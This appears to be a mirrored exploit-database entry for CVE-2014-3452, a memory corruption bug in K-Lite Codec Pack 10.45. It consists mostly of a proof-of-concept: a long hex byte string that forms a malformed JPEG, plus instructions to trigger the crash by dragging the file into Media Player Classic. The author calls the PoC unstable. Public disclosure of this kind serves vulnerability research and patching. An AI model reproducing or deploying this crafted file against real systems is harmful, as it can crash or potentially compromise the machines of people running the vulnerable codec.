Lucene search
K

K-Lite CODEC 10.45 Memory Corruption

🗓️ 14 May 2014 00:00:00Reported by Aryan BayaninejadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 62 Views

K-Lite CODEC 10.45 Memory Corruption via Malformed .jpg Fil

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-3452
16 May 201415:00
cve
Cvelist
CVE-2014-3452
16 May 201415:00
cvelist
EUVD
EUVD-2014-3464
7 Oct 202500:30
euvd
NVD
CVE-2014-3452
16 May 201415:55
nvd
Prion
Code injection
16 May 201415:55
prion
`# Exploit Title: [k-lite Codec memory corruption in latest Version 10.45 ]  
# Date: [2014/05/12]  
# Exploit Author: [Aryan Bayaninejad]  
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]  
# Vendor Homepage: [www.k-litecodec.com]  
# Software Link: [  
http://filehippo.com/download_klite_mega_codec/download/5d5a43f1ba3077f61abd35f382d7864a/  
]  
# Version: [Version 10.45 and prior to that]  
# Tested on: [Windows Xp Sp 3 x86 & Windows 7 sp1 x86]  
# CVE : [CVE-2014-3452]  
  
details:  
  
K-lite Codec latest version 10.45 suffers from an Exploitable memory  
corruption Vulnerability via a malformed .jpg file format when load K-Lite  
Codec Pack\Filters\LAV\avfilter-lav-4.dll.  
Note: For trigger this issue use of Drang and Drop in Media Player Classic.  
#This Poc is not Stable.  
  
  
  
  
Poc:  
  
value  
="\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x64\x00\x00\xFF\xDB\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x03\x04\x03\x02\x03\x04\x05\x03\x03\x03\x03\x05\x05\x04\x04\x05\x04\x04\x05\x07\x05\xBD\x06\x06\x06\x05\x07\x07\x08\x08\x09\x08\x08\x07\x0B\x0B\x0C\x0C\x0B\x0B\x0C\x0C\x0C\x0C\x0C\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xDB\x00\x43\x01\x03\x03\x03\x05\x05\x05\x0A\x07\x07\x0A\x0F\x0C\x0A\x0C\x0F\x12\x0E\x0E\x0E\x0E\x12\x11\x0E\x0E\x0E\x0E\x0E\x11\x11\x0E\x0E\x57\x0E\x0E\x0E\x11\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xC2\x00\x11\x08\x00\x4B\x00\xC0\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1C\x00\x00\x00\x07\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x00\xFF\xC4\x00\x1B\x01\x00\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04\x00\x01\x02\x05\x06\x07\xFF\xDA\x00\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\xAF\xF9\xED\x24\x4C\xFA\xAD\x55\xA2\xA6\x05\xFB\xDC\xF1\x73\xDF\x1B\xD9\x43\xD7\x21\x7E\xE3\x77\x73\x16\xD7\xED\x41\x5F\x3E\x72\x7D\x3B\xB0\xB7\x62\xB5\xB3\xC4\x78\x11\x23\x59\x2B\x81\x71\x4D\x42\xC8\x32\x7B\x50\xB2\x7B\x55\x14\xC4\x5D\x7A\x30\xB6\x1A\xA5\xEF\x10\xFD\xCD\xBF\x12\xA6\x6B\x3A\xEE\x7A\xB5\x37\x41\xD2\x42\xC7\x21\x23\xD8\x6A\x13\x5E\xD7\x7A\xC7\x91\xE7\x4A\x79\xC6\xC3\x18\xEA\x05\xC0\xB8\x12\x16\x4F\x6A\x8F\x2D\x89\x2C\x96\x35\x33\xA2\x55\x81\xAA\x0F\xA9\x77\x00\x8B\xCC\xB5\xA9\x6E\xF0\x8D\x87\xB6\xF5\x5C\x74\xAF\x4A\x9B\x8D\x59\x42\x5D\x65\x6E\x94\xD6\x35\x9E\x8F\xCD\xC4\x81\x74\x24\x34\x89\xEE\xBD\x51\x3B\x83\x22\x5A\xD0\x6C\x6B\x63\x4D\x4B\xA1\x2E\x5F\xC3\xBE\x73\xA9\x1B\x0B\xA5\xBD\xCA\xC8\x08\xA7\x6B\xE2\x70\xAA\xEE\xC5\x60\xD3\x63\xDB\xD1\x1B\x46\x03\xD7\x0D\x30\x1E\x93\xC6\xC0\x65\x1A\x0F\x8F\x74\x35\x65\x91\x3A\x8A\xD4\x21\x34\xDE\x0D\x33\xDB\x95\xF5\x2C\xCB\xB0\x8E\xF4\x61\x2C\x4D\x0C\xA6\xCE\x60\xD0\xC8\xB7\x64\x62\x70\xB8\x5D\xB0\xA5\xD3\x94\xBC\xE7\x0E\xF3\xE7\x52\x7A\xCE\x27\xB4\xA1\xBC\x3E\x8B\xCE\x52\x78\xFC\xC8\x0E\x4B\x66\xBA\x42\x4F\x54\x6C\xD4\x2E\x72\xB2\xFA\x72\x3B\x8E\xEB\x76\xE9\xEC\x80\xFB\x5D\xB9\x01\xD1\x05\x94\xCB\x17\x59\x66\xB8\x65\x57\x9E\x8C\xAF\xFD\x07\x06\xB2\xEA\xA4\x55\xA2\x71\x3B\xB7\xAE\x7F\x5E\xD4\x50\xC6\x33\xE4\xAB\xFC\x16\xBD\x21\xE4\x42\x5F\xAE\x8C\x1A\x12\x45\xC7\xAA\xC7\x44\xB1\x6F\x5B\x81\xE6\x70\x49\xEC\xFD\x37\x31\x72\x8B\xB6\x31\x38\x7E\x98\x4B\xA9\xCF\x97\xE9\x72\xA9\x9C\xAE\xB3\x46\x53\x47\x9C\xC2\xE1\x62\xF8\x91\x24\x38\x70\x97\x45\x90\x92\x04\xB4\xE5\xB8\xC6\x07\x51\xB9\x2C\x73\x1B\x86\xDE\x6A\x2F\x75\x72\xF4\x97\x99\x9E\xBB\x6B\x13\x8C\x3A\x68\xC9\x76\x39\x95\x25\x8B\x0A\xA3\xCC\xF1\x85\x87\x7A\x37\x51\x39\x0F\x1F\xD2\x6B\xC4\x74\xB7\x86\xB2\x7A\x5A\xF2\x9A\x6F\x45\x16\x13\x3D\x38\x16\xBD\x8B\x53\x10\xAD\xD0\xD4\xD4\xBB\x9B\xAF\xB1\x9E\x97\xCD\x70\x13\xEA\x57\x68\x4F\xCF\x4C\x44\x4B\x09\x45\x64\x65\x7D\x01\xD0\xD6\x7E\x75\xD9\x27\x26\x0F\x74\x9C\x84\x90\x25\x90\xD1\x03\xE0\xC0\x8E\x96\xD8\x12\x97\x92\x1F\xA3\x52\xDC\xBD\x68\xFE\x8B\x78\x2B\x02\xEF\x7A\xBE\x23\xEB\x73\xE8\xC3\xA9\x39\x94\xE8\xB7\xD6\xD5\x97\x6D\x6B\x5C\xDD\x37\xC0\xF5\x91\x41\x8F\x5C\x4E\xA0\x48\x9D\xCF\xFF\xC4\x00\x2B\x10\x1D\x01\x03\x03\x04\x00\x05\x04\x03\x01\x00\x00\x00\x00\x00\x00\x03\x01\x02\x04\x00\x05\x11\x06\x12\x13\x14\x15\x21\x22\x23\x24\x10\x31\x32\x33\x16\x34\x35\x41\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x42\x7C\xF5\x92\xE5\x9A\x1E\x42\x4E\xFB\x4D\x13\xDE\x39\xC4\x92\x33\x5B\x7D\x66\x04\x27\xB8\x16\x29\x2C\x7C\xF5\x78\x9C\x2B\x8C\x4F\xEA\xDD\xAE\x0F\x8D\xA8\xD9\x38\x8C\x62\xF8\x7D\xE4\x24\x81\x30\x71\xB2\xEA\xDD\x8A\xCB\xB3\xB9\xD4\xAE\x7D\x6F\x75\x6F\xAD\xD5\x97\x25\x35\x9B\xE7\x0D\x11\x24\x0F\xD3\x25\xBE\x73\x59\xBB\xB5\x1E\x64\xC2\x5C\x23\x9B\x96\x1F\x0B\x03\x6B\x47\x8D\xAF\x5D\x39\xDA\xB9\xC6\x4C\x47\xD4\xB2\x9C\x3D\x51\x1A\x66\xD5\x63\x54\xC3\x94\x39\xD2\xE1\x19\x0A\x12\x6E\xCA\xAE\x2B\x72\xD6\x73\xF4\xCA\xFD\x32\xB8\xC2\xA4\xE6\xE5\x65\x23\x7E\x48\xDD\x89\xAE\x2E\x24\xDA\x59\xEE\x5A\xDE\x02\x46\x40\x95\x6D\x46\x03\x4A\xD9\x56\xF0\x8A\xE3\x1D\x31\x1F\x52\xB9\xBF\xC8\xF9\x9D\x1D\x61\xDC\x1C\x25\xB6\xDD\x58\x64\x97\x16\x34\xD1\x4B\x81\x22\x1D\x66\xBF\xED\x2A\xAA\x57\xA6\xB2\xD4\xAE\x4A\x54\xC4\xA0\xA2\xF6\x91\x17\xB2\x27\x3D\x25\xC5\x1B\x79\xAD\xB0\x88\xE8\xB1\x1C\x10\xDB\xE5\xCE\x4E\xAC\xB9\x9C\x30\xDE\xAF\x34\xF0\xFE\xAD\x5B\x97\xEA\x98\xA0\x94\x4A\xF0\xF9\x31\xE2\xC2\x94\xE0\xD4\x0B\xB6\xEA\x8D\x2C\x6F\x79\x61\xDB\xD5\xD2\x2C\x51\x4C\x15\x47\xA2\xF9\xD2\x7D\x1A\x95\xF7\x96\xCC\x24\x96\x23\x89\x26\x2B\x38\xCF\x6C\x10\x12\x9D\x70\x71\x6B\xB4\xBD\x47\x93\xD0\x10\x2B\x44\xF4\x6B\xAE\xC2\xFD\x5A\x9F\x09\xAA\x2D\x05\xE2\x02\x4D\x62\xB7\xBC\x32\xCB\x0C\xAD\xB5\x12\xE7\xB2\xA1\xDC\x79\x46\x42\xC9\x90\x97\xE0\xB4\x77\x2D\xA8\x94\xE4\xCA\x2A\x62\x92\x9A\xF5\x24\xC0\x8D\xDC\xF1\xDC\x88\x70\x35\x37\x18\xCD\x41\x58\xCF\xAD\xFC\x6C\x5F\xC1\xA8\x55\x86\xCD\x59\x7A\x09\xC5\xFA\xF5\x10\x50\x9A\x9C\x63\x44\x0C\x00\x20\x82\xD5\x89\x6F\x04\x87\x09\x94\x22\x2E\x61\x5F\x40\xC1\xD8\xAE\x7C\x97\x3B\xB9\x44\x47\xAE\x6B\x35\x8A\x56\xAE\x42\x8C\x6A\x03\x1C\xC2\x47\x73\x09\x11\x1D\x26\x23\x65\x23\x62\xC9\x40\xBA\xDB\x2D\x94\x4B\x54\x5C\x42\xF8\xE4\x2B\xF9\x6E\x63\xFD\x7A\x88\xCF\x6E\xA0\xB6\x5B\x19\x29\xB7\xF5\x2C\x0B\x7C\xF6\x46\x33\x4A\x4D\xF5\xCA\xF1\xD2\x3F\x7D\x43\x86\x78\x24\x72\xEF\xAD\xB4\xB4\x99\x5A\x5D\xDB\x84\x9F\x21\xBB\x7B\x01\x5C\x90\x47\x5E\xC4\x26\xF1\xC7\x44\x73\x6D\x52\x1A\xDC\x1B\xDB\xA2\x11\x93\x9E\x68\xE4\x0D\xC5\x9F\x81\xA4\x5B\x47\xAC\xA3\xDE\x74\xED\xBD\x97\x7B\xA1\x6E\xC0\x62\xAB\xD1\x7D\x6A\x08\xDC\xE5\xB2\x5A\x18\x23\x4A\x6B\xF7\xD2\xD7\x9D\x61\xD4\xD6\xAA\x53\x1A\x11\xC8\xCE\x64\xC5\xCB\x9D\x10\x41\x68\x80\xAD\x64\x64\x63\x56\xDD\x2B\xDB\x79\x3D\xD2\xB7\x8B\xB2\xBA\x7B\xB3\x35\x9F\x86\xA8\x12\xF8\xF1\x8E\xE6\x0E\x1C\x96\x21\x40\x3D\xD5\x1A\x33\xCE\xF7\xDB\xD6\x04\x72\x8D\xEB\x22\x49\xB9\x0E\x8A\xE5\xA4\x6D\x2E\x1B\x59\x75\x67\xC9\x31\xDC\x5C\x76\x61\x63\x11\x31\xC7\xE9\xF0\xE3\xE3\xC3\xEE\xC7\xCC\xBB\x7B\x13\xB1\xC0\xBB\x7C\x45\x9F\x8E\xAD\xFF\x00\x56\x47\x1F\x19\x76\xF1\xC7\xDB\x9D\x3B\xB7\xB5\x72\xDB\xE1\xF6\x9C\x6C\xD5\xDF\xCA\xBC\xA9\x71\x5E\x54\xBB\x6B\xFF\xC4\x00\x2C\x11\x00\x02\x02\x01\x03\x02\x04\x04\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x10\x21\x12\x31\x13\x20\x22\x30\x05\x14\x41\x42\x23\x33\x51\x71\x91\xB1\xC1\xFF\xDA\x00\x08\x01\x03\x01\x01\x3F\x01\x1C\x84\x32\xD5\x98\xB4\x51\x44\xD6\xA1\x7E\x9F\xE9\xA9\x7C\x1A\x78\x66\xDE\x4F\xB7\x7D\x1C\xF1\x52\x14\xE2\xCB\x74\xCA\x68\xB7\x4E\xE1\x9F\x69\xEC\x89\x0C\x95\x71\xE9\xCE\x39\xC9\x6F\x26\x9E\xBE\x44\xB8\x1C\x76\xAA\x4F\xA1\x10\xC2\x04\x2D\x35\x51\x76\x55\xD3\xF5\x2C\xAD\xC5\xFB\x68\x92\x22\xF9\x25\x93\xC3\x52\xE1\xF7\x34\xBA\x59\xE1\xF1\xFB\x13\x58\x13\xDA\xA9\x2E\x92\x4C\x85\x98\x21\x2F\xA9\x6D\x70\xB5\x72\x6A\x74\xCE\x99\x63\xE8\x63\xD9\x46\x4C\x15\x69\xE5\x32\x9A\x23\x1E\x49\x4B\x0B\x82\xF7\xBD\x62\x4D\x9E\x19\x54\xB0\x42\x64\xA1\x09\xC3\xA6\x46\xBF\xE1\x5E\x04\xF3\x99\x63\xFA\x23\x74\xBE\xDF\x51\xA2\x95\xE7\x5B\x69\x34\xFD\x7D\xCE\x23\xC2\x27\x61\x2B\x59\x6F\x6D\xD7\x63\x48\xD2\x4C\x9D\x8B\x07\xCD\x24\xC8\x5C\x9F\x62\x16\x0D\x46\xC8\xE1\x9F\x13\xD1\xBD\x37\xAE\x06\x8E\xCE\xB8\xF9\x73\xB2\xDB\x4F\x25\xD3\xFC\x13\x98\xF2\x4E\xE8\x91\x9F\xA0\x79\x68\x44\xEB\xE9\x46\xAF\x5A\xF3\xD3\x13\xD5\x23\x4B\xAA\x9D\x7C\x32\xAB\xF2\xB8\x21\xAB\x46\xB6\xE5\x2A\x9A\x34\xB1\x69\x3F\x16\x31\xB2\xDA\x17\x61\x1E\x28\xED\x1D\x39\x79\xC9\x0F\xCB\xDF\xE7\x23\x1E\x19\xAE\xD7\x2F\xB4\xA1\x75\x4C\x4B\x03\x5C\x95\x5C\xE2\x85\xAB\x23\x7F\x5C\x4C\x79\xD7\x95\x90\x7E\x9D\xF5\xB9\xEA\x25\x54\xD9\x54\x65\x07\x91\x5B\x91\xF7\xDA\x56\xBC\xE0\xD2\xAF\x49\x3F\x71\x91\xEC\x3D\xAD\x7C\x88\x6B\x8D\xA4\xF0\xCB\x25\xCF\x04\x8A\x1F\xE1\xA1\xBF\x7A\xC1\x16\x77\x23\xDF\x7B\xF6\x65\x1D\xBC\xDF\xFF\xC4\x00\x2F\x11\x00\x02\x01\x02\x04\x05\x03\x03\x03\x05\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x12\x21\x31\x05\x10\x22\x32\x41\x13\x20\x51\x61\x71\xF0\x23\x24\x81\x30\x33\xB1\xC1\xD1\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x70\x79\x4F\x4F\x2C\x2F\x2D\x3E\x09\xCE\xD4\xAC\x99\x9E\x5E\x9E\xA5\x09\xB5\x28\xCB\xE1\x9C\x5E\xBD\xF0\x59\xE1\xAF\x4F\xF9\xD0\xE1\x72\xFD\xD4\x7E\xA8\xE2\x12\xB6\x19\xC5\x79\x30\xD1\xE8\x12\x1E\xE6\x26\x97\x55\xC4\xAC\x49\x46\x5B\x95\x29\xC9\x7D\x8B\x97\x2F\xCE\xE2\x2E\x5C\xAD\x34\xA1\xD2\x4E\x6E\x51\xB3\xD4\xBF\x48\xD5\xE2\x45\x74\x94\x6A\x35\x87\xCA\xEF\xAA\x38\x75\x0C\xB5\xA2\xFE\x87\x16\xC5\x4D\x49\x41\x33\x0C\xFA\x4C\xC3\xDC\xAA\xBA\x87\x12\x71\x19\x52\x3F\xD1\x7B\x16\xB4\x6E\x54\x6A\xC6\xB9\x0A\x70\xCC\x8C\x55\x7B\x52\xFA\xF8\x30\x58\x85\x42\xBC\xBE\xA6\x36\x14\x71\x16\x9A\xBE\x7F\x3F\x0D\x14\xAE\xB4\x22\xB5\xD4\x64\xD7\x51\x24\x4A\x23\x43\x47\xA4\xED\x73\x3A\xE7\x94\x7C\xEF\x74\x4B\xB0\x8F\x4B\xE1\xD1\x76\x56\xAD\x68\xC5\x23\xD1\x9C\xF5\x64\xAD\x7B\x89\x94\xA2\x25\xA9\x2D\xC9\xB2\xE4\xAC\x4A\x28\x68\xA7\x52\x50\x95\xD1\x85\x95\x1C\x4C\x7B\x63\x9B\xE2\xBF\xBF\xB7\x93\x88\x70\x3A\x5E\x3A\x3F\xDF\xF1\xF9\xF6\x2A\x53\x94\x1D\x9A\xB0\x9F\x27\xCA\x51\xE9\xB9\x28\x4B\x26\x84\xA3\xE9\xC1\x32\xBD\x47\x28\x22\x85\x1B\xC5\x36\x5D\xDA\xC5\x85\x14\x53\x64\x58\xF7\x1A\xD4\xAD\xB9\x08\x8B\x0D\x74\x4A\x83\x4C\x70\x62\x59\x25\x98\xE1\xF8\x95\x5F\xF4\xE7\xF9\xFF\x00\x3F\x83\x8E\xD3\x70\xC4\xDB\xE9\xF7\x13\xE4\xF9\x54\x51\xF4\xED\x2D\xCA\xF5\x16\x55\x94\x9D\x46\xD1\x3D\xD1\x4E\xCE\x9A\xB1\x18\xF2\x8D\x37\x72\x51\xEB\x2C\x32\xA4\xFE\x0B\x39\x18\x5C\x0A\x4B\x33\x21\x92\x0F\x53\x1D\x87\x84\xF5\x89\x38\x12\x83\x30\xD1\x6A\x68\xE3\xB5\xE1\x3A\xAA\xCF\xC7\xB6\xB5\x42\xE4\xBB\x47\x02\x95\xE1\x64\xCF\x56\x2B\xC8\xB1\x70\xF0\x47\x8A\x4B\x01\xA5\x99\xDF\x93\x23\x81\x93\x30\x7C\x3D\xB7\x76\x63\x2F\x4E\x90\xDE\x62\x73\x56\x27\x1B\x8F\x08\x71\x17\x2C\x3B\xCB\xE5\x8F\x57\xED\xA9\x15\x61\xA5\x96\xE3\xED\x1C\x62\x95\xE4\x62\x6B\x37\x25\x6D\x8A\xB5\x3A\x88\xBE\xA6\x61\xE9\xBB\xDD\x14\xB6\xE4\xCC\x0B\x4F\x56\x46\xBC\x20\xB4\x2B\xD7\x55\xA3\x62\xC8\x96\xC4\x56\xA5\x1C\x34\x77\x38\xEC\x94\xB1\x04\x57\xB6\xA2\xE9\x44\xA3\xD2\x4A\x11\x8C\x55\xCA\xCF\x36\xA5\x8B\x75\x94\x28\xF5\x49\xB2\x94\xD4\x60\xD2\x29\xEC\x5F\x94\x53\xF0\x4A\x44\x67\xA9\x07\xBD\xC7\x0C\xC5\x3A\x36\xDC\x47\x11\x4D\x62\x27\x7F\x91\x7B\x6A\x76\x14\xBB\x7C\x18\xAD\x91\x3D\x87\xE0\xA5\xDF\xE0\x95\xEC\xF7\x20\x52\xED\x10\xCA\x7D\xA3\xFC\xBF\x2F\x25\x12\x5B\x1E\x0E\x27\xFD\xE9\x7D\xC8\x8F\xD9\xFF\xC4\x00\x40\x10\x00\x02\x01\x02\x04\x02\x05\x09\x05\x07\x03\x05\x00\x00\x00\x00\x01\x02\x03\x00\x11\x04\x12\x21\x31\x13\x51\x05\x22\x32\x41\x71\x14\x23\x33\x52\x61\x81\x91\xA1\xB1\x10\x42\x72\x82\xC1\x20\x43\x62\x73\x92\xA2\xC2\x24\x34\xB2\x35\x44\x54\xD1\xE1\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x9F\x53\xD9\x4F\xD6\x9B\x84\x0B\x04\x8F\x21\xD6\xC3\x31\x6B\xD4\xCE\xE2\xDE\x6D\x06\x56\x37\xE7\x59\x53\x4F\x33\x76\xFE\xBA\x69\x81\x37\x54\x8D\xAD\xCE\xCC\x6B\xA5\xA4\x8D\xF4\x9B\x10\xBC\x3E\x65\x17\x84\xA4\x8F\x0A\x95\x2E\x47\x59\x9B\xE0\xF4\xF2\xB1\x37\x7F\x32\x3D\xA5\xCF\x75\x74\x36\x12\x44\x96\x18\xED\x29\x72\xE0\x65\x61\xC2\x3D\x96\x52\xC3\x4E\x46\xD5\x89\x8F\x31\xB2\xC2\xA4\x6A\xC7\x5A\x87\xF9\x6B\xF4\xAC\x71\xD2\xC2\x5D\xCF\xE0\x15\x1C\x92\x30\x92\x38\xFA\xC4\x81\x6B\xDB\x51\x9B\x7A\xE3\x62\x2E\x32\x03\x6E\xB6\x53\xAF\x7D\x1C\x5E\x47\xF2\x5B\xE5\xA4\x5C\x56\xA4\xD6\xE6\xBB\xFE\x35\xB9\xAD\xCF\xBE\xBF\xFB\x5D\xF5\xB9\x15\x7B\x9A\xC4\x89\x54\x5B\xAA\x42\x9B\x35\xBD\xF5\x38\x02\xC2\xD1\xFD\x0D\x4D\xF8\x63\xFD\x69\xF9\xF0\x53\xFE\x6D\x52\x6B\xFB\xA4\x3F\xDC\xD4\x30\x91\xB3\x8C\x32\x99\xC9\xCB\xD8\x31\xB8\x5B\x8D\xB9\x8A\xAE\x95\x49\x16\x96\xCE\x01\x20\x75\x8E\xE6\xB0\xB9\x7D\x30\x11\x12\x7B\xFA\xED\x7A\xE8\x69\x25\xEA\xC3\xD7\x67\xB7\x70\xE0\x35\xEB\x11\x8B\xC3\x63\xB0\x4F\x87\x78\x95\x40\x69\x72\xB7\x57\xD8\x45\x44\x3F\x81\x7E\x95\xD2\x57\xEC\x71\xFE\x8A\x28\x30\x1C\x4B\x9E\xC1\x6B\x29\xA6\x68\x0A\x79\x49\xD5\x11\xCD\xE3\xBF\xF1\x5A\x8C\x11\xC7\x16\x1C\x30\x17\x80\x36\x7D\xBB\x81\xD8\x51\x8D\xD0\xAB\xAE\xE0\xD6\xA3\x4A\xBF\xEC\x69\xF6\xCA\x54\xEE\x8B\xF5\x35\x37\x3B\x47\x7F\xE9\xA7\xD0\x01\xC2\x4F\xAB\x54\xA7\x94\x31\xFF\x00\xC9\xAA\x5E\xB6\xBC\x05\xB0\xE6\x49\x6B\x54\x8C\xC9\xA2\xFA\x53\xB1\x62\x6F\xA5\xEA\x28\x66\x99\xE0\x42\xAE\xD2\xF0\xD7\x88\x19\x40\xBC\x6B\xF1\xF0\xF1\xAF\xF5\x43\xCF\x2B\x43\xC1\x91\x4F\x55\xE2\x05\x45\xEC\x75\xAE\x8D\xC3\x31\xB2\xB2\x48\xA4\xFB\x0C\x2C\x3F\x5A\x75\x1D\x6B\xC2\x8C\x79\x8B\x92\x2D\xF2\xA8\x87\x24\x01\xA5\x74\x9A\x49\xA3\x1C\x43\xDB\xC2\xBB\xCC\x5C\xB9\x50\x2A\x7A\x87\xBC\x52\x87\xED\xED\x7F\xD6\xAD\x30\xEB\x6C\x92\x0E\xD2\xD1\x67\x19\xA0\x1F\xBE\x5E\xCE\xBC\xF9\x56\x9F\xB7\x26\xBA\xE5\x1F\x32\x6B\x10\x37\x36\x8F\xE8\x6A\x5B\x0D\x78\x69\xFE\x55\x89\x21\x73\x9F\x36\x9C\xB6\x5B\xFE\xB5\x88\x77\x04\xCB\xC4\xCB\xA6\xB6\x5C\xBA\x7C\x28\xCA\xE3\x86\xA0\xBD\xD9\xBB\xEC\xCD\xB5\x46\x14\x5B\x34\x5A\xB1\xF6\x8A\x55\x5D\xBC\xDE\xBE\x04\x57\x44\xCA\x06\x69\x9E\x17\x21\x41\x00\xFF\x00\xB7\x3A\xEB\x53\xB9\x04\x0E\x12\x1B\x1D\xED\x7A\x4F\xC2\x3E\x95\xD2\x8D\xDF\xE5\x2E\x3E\x1A\x53\x65\x57\x94\x01\xDD\xAD\xA9\x31\x65\x6D\x04\xBF\xDA\xDE\xDE\x55\x6B\xD6\x47\xDA\xAC\xA6\xC7\x9D\x1E\x2C\x38\x60\x64\xBD\xA5\x91\x14\x0C\xDF\xDB\x4A\xD8\x37\x11\x63\x5A\xF9\x70\xF9\x8C\x91\x31\xEE\x01\xCF\x3A\x2A\xC0\xA3\xAF\x55\x94\xEE\x08\xDC\x7E\xC5\xC5\x62\x3D\x81\x3F\x5A\xC4\x77\x31\xE1\xA8\xF7\x2D\xEA\x66\x3D\x80\x16\x3D\xED\xA8\xAC\x4E\x4E\x68\x2E\x75\xFB\xB7\xAC\x5E\x27\x16\x7C\xCA\x4E\x6C\x80\xEA\xCC\x15\x74\xF0\xA7\x5D\xA1\x0E\xF6\x03\x6E\xB1\xBD\x2A\xDF\x68\xED\xF2\xAC\xAC\x46\x9A\xFB\xC5\x74\x44\x85\xCC\xB9\xB0\xD2\x88\xC4\x80\x1C\x99\xA0\xCC\x6C\xDB\xDA\xFF\x00\x33\xC5\xC7\x6C\xB9\x70\xD1\x0B\xFA\xC7\x31\xD6\x93\xF0\x8A\xE9\x3B\xFF\x00\xBB\x49\xF5\xAC\xBB\x5E\xE6\x8D\xCF\x54\xF6\x81\xDB\xE1\x4C\xB0\xAD\xA3\x79\x08\x88\x2E\xBA\x13\xD5\xD2\xAD\x7E\xB5\x6F\x57\x0C\xC8\xDB\x66\x06\xC7\xDC\x45\x4F\xE5\x26\x29\x60\x31\xB3\x48\x63\x8C\x26\x30\x81\xBB\x2B\x2F\x55\xF2\x6F\x6D\x0D\x31\x5B\x95\x91\x23\x93\x39\xD3\x31\xCB\x66\x36\x3E\xD1\x5D\xAA\xDE\xDE\xDF\xB7\x12\x62\x36\x4B\xAA\x66\x65\xEF\x51\xAD\x62\x43\xD9\xC8\x2A\x76\xF5\x96\xA7\x53\xA0\xBA\x0B\x78\x2D\x62\x3F\x9B\xF5\x51\x58\xB5\x0D\xD6\x13\x66\xCB\xF9\x54\x56\x51\xDE\x49\xF8\xD0\x41\xD6\xB0\xB1\x26\xAD\x5D\x0D\xE4\xFE\x9F\xC9\x25\xE1\xDB\x7C\xFE\x4E\x2D\x52\xE1\xE4\x83\x08\xE4\x2A\xEB\x2C\x3D\x6F\x7E\xBD\xD4\xBE\x02\xBA\x4D\xCD\xED\xE5\x72\x5B\xE3\x4F\xD6\xD3\x29\xD8\xD2\xE2\x71\x06\xC5\x96\xEB\xC4\x19\x91\x73\x0D\xC8\x3B\xD1\x11\x23\x2F\x95\x39\x84\xE2\xE6\x39\x67\x8E\xDB\xA8\x50\x34\x0D\x48\x91\x8B\x04\x40\x87\xC4\x50\x22\xB8\x2E\x6C\xFB\x0F\x1A\x86\xEC\x32\x66\xEB\x7E\x0B\x1C\xDF\x2A\x84\x46\x6E\x63\x88\x23\x78\xFE\xCC\xAA\x43\x69\x34\x81\x7C\x2F\x58\x82\x34\x04\xA7\xC9\x2B\x12\x7B\x95\x94\x1F\xE8\xA9\xBD\xB2\x7F\x88\xA6\xC4\x42\xD6\x91\xA6\x7B\xFF\x00\x12\xDE\xD4\xD2\x24\x77\x44\xCC\xC5\xF4\xEE\xF6\xD2\x99\x72\x24\x6C\x50\x66\xCD\x73\x77\x36\xDA\x91\x15\x88\x25\xC2\x33\xE9\xDF\x5D\x05\x98\xFA\x18\x24\xB9\xEE\xEA\xC2\x35\xAC\x45\xC5\xB2\xAA\xAF\xF7\x5E\xF4\xBE\x02\xBA\x46\x35\x1F\xF7\x52\xEB\xF9\xA9\xF1\xB3\x33\xAA\xC6\xE6\x3C\x9E\xBC\x8B\xF7\x45\x45\xC5\x3E\x79\xA5\x59\x18\xEE\x01\x1A\xE5\xB7\x2A\x9F\xC9\x54\x85\x69\x04\x82\x59\x09\xD4\xE5\xD7\xA9\xDD\x4A\x54\xDC\x64\x1A\xFB\xAA\xFF\x00\x74\x6E\x28\x15\xEF\xE7\xA5\x24\xB3\xB2\x37\x15\x6E\x8B\x09\xCE\x32\xFB\x4D\x69\xF6\x6D\x5B\xD5\x85\x62\x3D\x93\x1D\x7C\x40\x35\x2A\xAF\x25\x6F\xA8\xAC\x4F\xF3\x7E\x88\x2B\x10\xB1\xE5\xB0\x7D\xDB\xF0\x8B\xED\x45\x57\x29\x2A\xF2\x03\x9B\xF8\x4D\x01\xEB\xC5\x98\xFE\x6A\x88\x7A\xD3\xC6\x3E\x1A\xFE\x95\x19\xB7\xA1\x95\x45\xCD\x74\x66\x1F\x09\x88\x19\x1B\x09\x38\x99\xE3\xB3\x32\x8E\x1A\x8B\x58\xED\x7A\x39\x7A\xCA\xD0\xA6\x7B\xEF\xDA\x3F\xFA\xA5\xF0\xAE\x91\x6E\x90\xB3\x61\xFC\xAE\x51\xD6\x19\x95\x4D\xFB\xC5\x4A\xB0\xCC\xEF\x91\xD9\xA1\x4C\xB7\x24\xBE\xE6\xFA\x50\x12\x22\xAA\xA7\x59\x7D\xBE\x35\x9A\x56\x2F\x61\x6B\xB5\x12\x3E\x5A\x52\x45\xDE\xE7\x28\xB7\x33\x46\x10\x6D\x8F\x0B\xC6\x87\x37\x59\x0A\xDF\x2B\xA1\x1C\xD4\xD2\xB7\x0F\x84\x42\xD9\xA2\xF5\x5A\xFA\xDB\xD9\xF6\xE9\x5E\xCA\xF6\x56\x29\x72\x93\xE7\x54\xF3\xFB\x82\xA4\x0B\xBE\x44\xFA\x9A\x9F\x9F\x1D\x75\xCF\xB8\x54\x9C\xF8\xCF\xEF\xD6\xA4\x36\xEA\x86\x98\xDF\xF3\x1A\x5C\xC6\xDF\xE9\xFF\x00\xC6\xB0\x9B\x9B\xC9\x9B\x5F\xC1\x50\x71\x05\xB2\x97\x65\x1F\x96\xBA\x35\xB1